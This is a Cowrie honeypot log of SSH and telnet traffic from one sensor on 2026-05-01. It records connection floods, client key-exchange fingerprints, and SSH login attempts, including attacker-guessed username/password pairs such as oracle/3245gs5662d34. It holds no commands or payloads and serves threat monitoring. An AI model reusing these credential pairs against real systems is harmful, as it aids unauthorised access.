{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:50.516266Z","src_ip":"201.184.50.251","session":"51823a1a82df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39400,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1a39c9a9534","protocol":"telnet","message":"New connection: 69.6.196.124:39400 (159.203.135.109:23) [session: f1a39c9a9534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:50.547163Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39334,"dst_ip":"159.203.135.109","dst_port":23,"session":"05bba8d00b07","protocol":"telnet","message":"New connection: 69.6.196.124:39334 (159.203.135.109:23) [session: 05bba8d00b07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:50.666569Z"}
{"eventid":"cowrie.session.closed","duration":31.29926085472107,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:50.766723Z","src_ip":"69.6.196.124","session":"1d283b3229fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39410,"dst_ip":"159.203.135.109","dst_port":23,"session":"0759fcaa8d95","protocol":"telnet","message":"New connection: 69.6.196.124:39410 (159.203.135.109:23) [session: 0759fcaa8d95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:50.821340Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57390,"dst_ip":"159.203.135.109","dst_port":23,"session":"33b8e195d54c","protocol":"telnet","message":"New connection: 69.6.196.124:57390 (159.203.135.109:23) [session: 33b8e195d54c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:50.890601Z"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:50.961191Z","src_ip":"201.184.50.251","session":"51823a1a82df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39412,"dst_ip":"159.203.135.109","dst_port":23,"session":"542ae3b817eb","protocol":"telnet","message":"New connection: 69.6.196.124:39412 (159.203.135.109:23) [session: 542ae3b817eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:50.973563Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39428,"dst_ip":"159.203.135.109","dst_port":23,"session":"cde6b1092f78","protocol":"telnet","message":"New connection: 69.6.196.124:39428 (159.203.135.109:23) [session: cde6b1092f78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:51.002864Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39368,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ccc4a02b49d","protocol":"telnet","message":"New connection: 69.6.196.124:39368 (159.203.135.109:23) [session: 5ccc4a02b49d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:51.181849Z"}
{"eventid":"cowrie.session.closed","duration":30.7263023853302,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:51.280329Z","src_ip":"69.6.196.124","session":"ce70544c3baa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39374,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d7722b1d99f","protocol":"telnet","message":"New connection: 69.6.196.124:39374 (159.203.135.109:23) [session: 2d7722b1d99f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:51.311522Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39430,"dst_ip":"159.203.135.109","dst_port":23,"session":"93dd11ef2c99","protocol":"telnet","message":"New connection: 69.6.196.124:39430 (159.203.135.109:23) [session: 93dd11ef2c99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:51.392617Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39444,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec5990b9e343","protocol":"telnet","message":"New connection: 69.6.196.124:39444 (159.203.135.109:23) [session: ec5990b9e343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:51.731928Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39454,"dst_ip":"159.203.135.109","dst_port":23,"session":"99564778accf","protocol":"telnet","message":"New connection: 69.6.196.124:39454 (159.203.135.109:23) [session: 99564778accf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:51.738304Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:52.070351Z","src_ip":"201.184.50.251","session":"51823a1a82df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.184.50.251","src_port":39800,"dst_ip":"10.17.0.5","dst_port":22,"session":"74f199a208d9","protocol":"ssh","message":"New connection: 201.184.50.251:39800 (10.17.0.5:22) [session: 74f199a208d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:52.137372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:52.142513Z","src_ip":"201.184.50.251","session":"74f199a208d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:52.223765Z","src_ip":"201.184.50.251","session":"74f199a208d9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:52.578549Z","src_ip":"201.184.50.251","session":"74f199a208d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:52.663195Z","src_ip":"201.184.50.251","session":"74f199a208d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:52.673346Z","src_ip":"201.184.50.251","session":"6acef3796ddb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.187408447265625,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:52.964517Z","src_ip":"69.6.196.124","session":"3aeff514b8c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.027560710906982,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:53.054694Z","src_ip":"69.6.196.124","session":"5d888f8e9cf5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.985511779785156,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:53.301283Z","src_ip":"69.6.196.124","session":"ca6eac802ce9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.14173722267151,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:53.313408Z","src_ip":"69.6.196.124","session":"40c88b785b79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.857433080673218,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:53.359391Z","src_ip":"69.6.196.124","session":"aa8b92c0cb46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.101736783981323,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:53.384185Z","src_ip":"69.6.196.124","session":"9b7a6c6e9d9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39390,"dst_ip":"159.203.135.109","dst_port":23,"session":"844bd20ad6d1","protocol":"telnet","message":"New connection: 69.6.196.124:39390 (159.203.135.109:23) [session: 844bd20ad6d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:53.423158Z"}
{"eventid":"cowrie.session.closed","duration":33.217150926589966,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:53.667157Z","src_ip":"69.6.196.124","session":"4f31ab3b2210","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39486,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b62db1f4719","protocol":"telnet","message":"New connection: 69.6.196.124:39486 (159.203.135.109:23) [session: 5b62db1f4719]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:53.960730Z"}
{"eventid":"cowrie.session.closed","duration":31.237457990646362,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:53.966741Z","src_ip":"69.6.196.124","session":"301757c6f45f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39500,"dst_ip":"159.203.135.109","dst_port":23,"session":"04d012174123","protocol":"telnet","message":"New connection: 69.6.196.124:39500 (159.203.135.109:23) [session: 04d012174123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:53.971356Z"}
{"eventid":"cowrie.session.closed","duration":33.81677532196045,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:54.115432Z","src_ip":"69.6.196.124","session":"9892f33a03fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06753635406494,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:54.325952Z","src_ip":"69.6.196.124","session":"eb6ae4bb33d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65637493133545,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:54.373681Z","src_ip":"69.6.196.124","session":"2472bb4e2935","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39512,"dst_ip":"159.203.135.109","dst_port":23,"session":"818aaa1b7175","protocol":"telnet","message":"New connection: 69.6.196.124:39512 (159.203.135.109:23) [session: 818aaa1b7175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:54.406650Z"}
{"eventid":"cowrie.session.closed","duration":120.00098657608032,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:54.696770Z","src_ip":"185.53.58.141","session":"399948556a5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39474,"dst_ip":"159.203.135.109","dst_port":23,"session":"baa45daf964e","protocol":"telnet","message":"New connection: 69.6.196.124:39474 (159.203.135.109:23) [session: baa45daf964e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:54.704593Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39518,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb4efcfe8216","protocol":"telnet","message":"New connection: 69.6.196.124:39518 (159.203.135.109:23) [session: cb4efcfe8216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:54.802209Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39530,"dst_ip":"159.203.135.109","dst_port":23,"session":"77681e8b5a36","protocol":"telnet","message":"New connection: 69.6.196.124:39530 (159.203.135.109:23) [session: 77681e8b5a36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:54.834194Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39556,"dst_ip":"159.203.135.109","dst_port":23,"session":"87a664cbb7fd","protocol":"telnet","message":"New connection: 69.6.196.124:39556 (159.203.135.109:23) [session: 87a664cbb7fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:55.387056Z"}
{"eventid":"cowrie.session.closed","duration":30.623354196548462,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:55.418325Z","src_ip":"69.6.196.124","session":"6df6bf059b15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.648083209991455,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:55.480721Z","src_ip":"69.6.196.124","session":"133bed109e3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.193446397781372,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:55.671568Z","src_ip":"69.6.196.124","session":"4140961addb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39534,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8b5abdd8ce6","protocol":"telnet","message":"New connection: 69.6.196.124:39534 (159.203.135.109:23) [session: a8b5abdd8ce6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:56.044990Z"}
{"eventid":"cowrie.session.closed","duration":30.62587332725525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:56.268023Z","src_ip":"69.6.196.124","session":"faf92d1f40f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.224576950073242,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:56.339259Z","src_ip":"69.6.196.124","session":"54bcc1e37807","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5527184009552,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:56.361424Z","src_ip":"69.6.196.124","session":"eb7694d51128","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.088577032089233,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:56.580274Z","src_ip":"69.6.196.124","session":"12888adcbf4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39566,"dst_ip":"159.203.135.109","dst_port":23,"session":"93bb1d3aa494","protocol":"telnet","message":"New connection: 69.6.196.124:39566 (159.203.135.109:23) [session: 93bb1d3aa494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:56.618450Z"}
{"eventid":"cowrie.session.closed","duration":30.619983434677124,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:56.664255Z","src_ip":"69.6.196.124","session":"adfeeadb185b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39582,"dst_ip":"159.203.135.109","dst_port":23,"session":"f84f76806fb4","protocol":"telnet","message":"New connection: 69.6.196.124:39582 (159.203.135.109:23) [session: f84f76806fb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:57.206756Z"}
{"eventid":"cowrie.session.closed","duration":31.226602792739868,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:57.370385Z","src_ip":"69.6.196.124","session":"98e30dc1537b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.001058101654053,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:57.410887Z","src_ip":"69.6.196.124","session":"d9e4982210e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74734592437744,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:57.475097Z","src_ip":"69.6.196.124","session":"bb5a2dab43de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.670260667800903,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:57.490034Z","src_ip":"69.6.196.124","session":"5fd259d6071b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49500584602356,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:57.528884Z","src_ip":"69.6.196.124","session":"f873b78caa39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39592,"dst_ip":"159.203.135.109","dst_port":23,"session":"07f51cfc4c2a","protocol":"telnet","message":"New connection: 69.6.196.124:39592 (159.203.135.109:23) [session: 07f51cfc4c2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:57.631767Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39608,"dst_ip":"159.203.135.109","dst_port":23,"session":"81e72b453f62","protocol":"telnet","message":"New connection: 69.6.196.124:39608 (159.203.135.109:23) [session: 81e72b453f62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:58.064724Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39620,"dst_ip":"159.203.135.109","dst_port":23,"session":"350dd3ee2aae","protocol":"telnet","message":"New connection: 69.6.196.124:39620 (159.203.135.109:23) [session: 350dd3ee2aae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:58.072446Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39540,"dst_ip":"159.203.135.109","dst_port":23,"session":"a17f2f369be6","protocol":"telnet","message":"New connection: 69.6.196.124:39540 (159.203.135.109:23) [session: a17f2f369be6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:58.153739Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39604,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef00cfbd8411","protocol":"telnet","message":"New connection: 69.6.196.124:39604 (159.203.135.109:23) [session: ef00cfbd8411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:58.733716Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39606,"dst_ip":"159.203.135.109","dst_port":23,"session":"481d16092a18","protocol":"telnet","message":"New connection: 69.6.196.124:39606 (159.203.135.109:23) [session: 481d16092a18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:58.797724Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39628,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b5a7aab6db5","protocol":"telnet","message":"New connection: 69.6.196.124:39628 (159.203.135.109:23) [session: 9b5a7aab6db5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:58.829663Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39642,"dst_ip":"159.203.135.109","dst_port":23,"session":"901b86e2977d","protocol":"telnet","message":"New connection: 69.6.196.124:39642 (159.203.135.109:23) [session: 901b86e2977d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:58.988407Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.53.58.141","src_port":48474,"dst_ip":"10.17.0.5","dst_port":23,"session":"311be6c752fe","protocol":"telnet","message":"New connection: 185.53.58.141:48474 (10.17.0.5:23) [session: 311be6c752fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:59.051288Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39650,"dst_ip":"159.203.135.109","dst_port":23,"session":"97fd2a584855","protocol":"telnet","message":"New connection: 69.6.196.124:39650 (159.203.135.109:23) [session: 97fd2a584855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:59.269426Z"}
{"eventid":"cowrie.session.closed","duration":30.851595163345337,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:59.321677Z","src_ip":"69.6.196.124","session":"60a776d2fbcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.497438669204712,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:00.299003Z","src_ip":"69.6.196.124","session":"9e69b354031a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22431707382202,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:00.462447Z","src_ip":"69.6.196.124","session":"9612b4d2e569","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.534995079040527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:48:00.538773Z","src_ip":"69.6.196.124","session":"e811600078b0","protocol":"telnet"}
